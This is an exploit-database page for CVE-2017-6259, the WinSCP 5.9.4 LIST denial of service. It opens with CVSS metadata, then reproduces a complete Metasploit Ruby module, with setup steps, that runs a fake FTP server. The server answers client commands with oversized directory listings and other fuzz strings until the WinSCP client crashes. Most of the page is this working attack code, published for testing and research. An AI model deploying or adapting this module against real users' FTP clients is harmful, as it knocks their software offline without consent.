WinSCP 5.9.4 LIST Denial Of Service
CVE
Category
Price
Severity
CVE-2017-6259
CWE-1
$500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Local
2017-04-18
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality None C There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data. Integrity None I There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system. Availability Low A There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040108 Below is a copy:
WinSCP 5.9.4 LIST Denial Of Service ##
# Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application)
# Date: [4-4-2017] mm.dd.yy
# Exploit Author: [M.Ibrahim] [email protected]
# E-Mail: vulnbug <at> gmail.com
# Vendor Home Page: https://winscp.net/eng/index.php
# Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe
# Version: [WinSCP 5.9.4]
# Tested on: windows 7 x86
##
#put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all
#then run -j
#now fake ftp server is ready
#try to connect to this fake ftp server with winscp client and it will crush
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Exploit::Remote::TcpServer
def initialize()
super(
'Name' => 'WinSCP CRUSHER',
'Description' => %q{
This module will Crush WinSCP FTP client
},
'Author' => [ 'M.Ibrahim <vulnbug[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.google.com' ],
]
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]),
OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]),
OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),
OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]),
OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]),
OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]),
OptBool.new('ERROR', [ true, "Reply with error codes only",false]),
OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true])
], self.class)
end
def support_ipv6?
false
end
def setup
super
@state = {}
end
def run
@fuzzsize=datastore['STARTSIZE'].to_i
exploit()
end
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil
}
print_status("Client connected : " + c.peerhost)
active_data_port_for_client(c, 20)
send_response(c,"","WELCOME",220," "+datastore['WELCOME'])
end
def on_client_close(c)
@state.delete(c)
end
def passive_data_port_for_client(c)
@state[c][:mode] = :passive
if(not @state[c][:passive_sock])
s = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
dport = s.getsockname[2]
@state[c][:passive_sock] = s
@state[c][:passive_port] = dport
end
@state[c][:passive_port]
end
def active_data_port_for_client(c,port)
@state[c][:mode] = :active
connector = Proc.new {
host = c.peerhost.dup
sock = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
}
@state[c][:active_connector] = connector
@state[c][:active_port] = port
end
def establish_data_connection(c)
begin
Timeout.timeout(20) do
if(@state[c][:mode] == :active)
return @state[c][:active_connector].call()
end
if(@state[c][:mode] == :passive)
return @state[c][:passive_sock].accept
end
end
rescue ::Exception => e
print_error("Failed to establish data connection: #{e.class} #{e}")
end
nil
end
def on_client_data(c)
data = c.get_once
return if not data
cmd,arg = data.strip.split(/\s+/, 2)
arg ||= ""
return if not cmd
case cmd.upcase.strip
when 'USER'
@state[c][:user] = arg
send_response(c,arg,"USER",331," User name okay, need password")
return
when 'PASS'
@state[c][:pass] = arg
send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.")
return
when 'QUIT'
if (datastore['RESET'])
print_status("Resetting fuzz settings")
@fuzzsize = datastore['STARTSIZE']
@stepsize = datastore['STEPSIZE']
end
print_status("** Client disconnected **")
send_response(c,arg,"QUIT",221," User logged out")
return
when 'SYST'
send_response(c,arg,"SYST",215," UNIX Type: L8")
return
when 'TYPE'
send_response(c,arg,"TYPE",200," Type set to #{arg}")
return
when 'CWD'
send_response(c,arg,"CWD",250," CWD Command successful")
return
when 'PWD'
send_response(c,arg,"PWD",257," \"/\" is current directory.")
return
when 'REST'
send_response(c,arg,"REST",200," OK")
return
when 'XPWD'
send_response(c,arg,"PWD",257," \"/\" is current directory")
return
when 'SIZE'
send_response(c,arg,"SIZE",213," 1")
return
when 'MDTM'
send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}")
return
when 'CDUP'
send_response(c,arg,"CDUP",257," \"/\" is current directory")
return
when 'PORT'
port = arg.split(',')[4,2]
if(not port and port.length == 2)
c.put("500 Illegal PORT command.\r\n")
return
end
port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0]
active_data_port_for_client(c, port)
send_response(c,arg,"PORT",200," PORT command successful")
return
when 'PASV'
daddr = Rex::Socket.source_address(c.peerhost)
dport = passive_data_port_for_client(c)
@state[c][:daddr] = daddr
@state[c][:dport] = dport
pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',')
dofuzz = fuzz_this_cmd("PASV")
code = 227
if datastore['ERROR']
code = 557
end
if (dofuzz==1)
send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)\r\n")
incr_fuzzsize()
else
send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})")
end
return
when /^(LIST|NLST|LS)$/
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
code = 150
if datastore['ERROR']
code = 550
end
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
if datastore['ERROR']
code = 550
end
c.put("#{code} Directory send ok.\r\n")
strfile = "passwords.txt"
strfolder = "Secret files"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strfile = @fuzzdata + ".txt"
strfolder = @fuzzdata
paylen = @fuzzdata.length
incr_fuzzsize()
end
dirlist = ""
if datastore['EXTRALINE']
extra = "\r\n"
else
extra = ""
end
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n" + extra
dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}\r\n" + extra
conn.put("total 2\r\n"+dirlist)
conn.close
return
when 'RETR'
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
strcontent = "blahblahblah"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strcontent = @fuzzdata
paylen = @fuzzdata.length
incr_fuzzsize()
end
c.put("150 Opening BINARY mode data connection #{strcontent}\r\n")
print_status(" - Sending data via data connection")
conn.put(strcontent)
c.put("226 Transfer complete\r\n")
conn.close
return
when /^(STOR|MKD|REM|DEL|RMD)$/
send_response(c,arg,cmd.upcase,500," Access denied")
return
when 'FEAT'
send_response(c,arg,"FEAT","","211-Features:\r\n211 End")
return
when 'HELP'
send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)")
when 'SITE'
send_response(c,arg,"SITE",200," OK")
return
when 'NOOP'
send_response(c,arg,"NOOP",200," OK")
return
when 'ABOR'
send_response(c,arg,"ABOR",225," Abor command successful")
return
when 'ACCT'
send_response(c,arg,"ACCT",200," OK")
return
when 'RNFR'
send_response(c,arg,"RNRF",350," File exists")
return
when 'RNTO'
send_response(c,arg,"RNTO",350," File exists")
return
else
send_response(c,arg,cmd.upcase,200," Command not understood")
return
end
return
end
def fuzz_this_cmd(cmd)
@fuzzcommands = datastore['FUZZCMDS'].split(",")
fuzzme = 0
@fuzzcommands.each do |thiscmd|
if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0)
fuzzme = 1
end
end
if fuzzme==1
if datastore['CYCLIC']
@fuzzdata = Rex::Text.pattern_create(@fuzzsize)
else
@fuzzdata = "A" * @fuzzsize
end
end
return fuzzme
end
def incr_fuzzsize
@stepsize = datastore['STEPSIZE'].to_i
@fuzzsize = @fuzzsize + @stepsize
if (@fuzzsize > datastore['ENDSIZE'].to_i)
@fuzzsize = datastore['ENDSIZE'].to_i
end
end
def send_response(c,arg,cmd,code,msg)
if arg.length > 40
showarg = arg[0,40] + "..."
else
showarg = arg
end
if cmd.length > 40
showcmd = cmd[0,40] + "..."
else
showcmd = cmd
end
dofuzz = fuzz_this_cmd(cmd)
if (dofuzz==1) && (cmd.upcase != "PASV")
paylen = @fuzzdata.length
if datastore['ERROR']
code = "550 "
end
if cmd=="FEAT"
@fuzzdata = "211-Features:\r\n "+@fuzzdata+"\r\n211 End"
end
if cmd=="PWD"
@fuzzdata = " \"/"+@fuzzdata+"\" is current directory"
end
cmsg = code.to_s + " " + @fuzzdata
c.put("#{cmsg}\r\n")
print_status("* Fuzz data sent")
incr_fuzzsize()
else
cmsg = code.to_s + msg
cmsg = cmsg.strip
c.put("#{cmsg}\r\n")
end
return
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum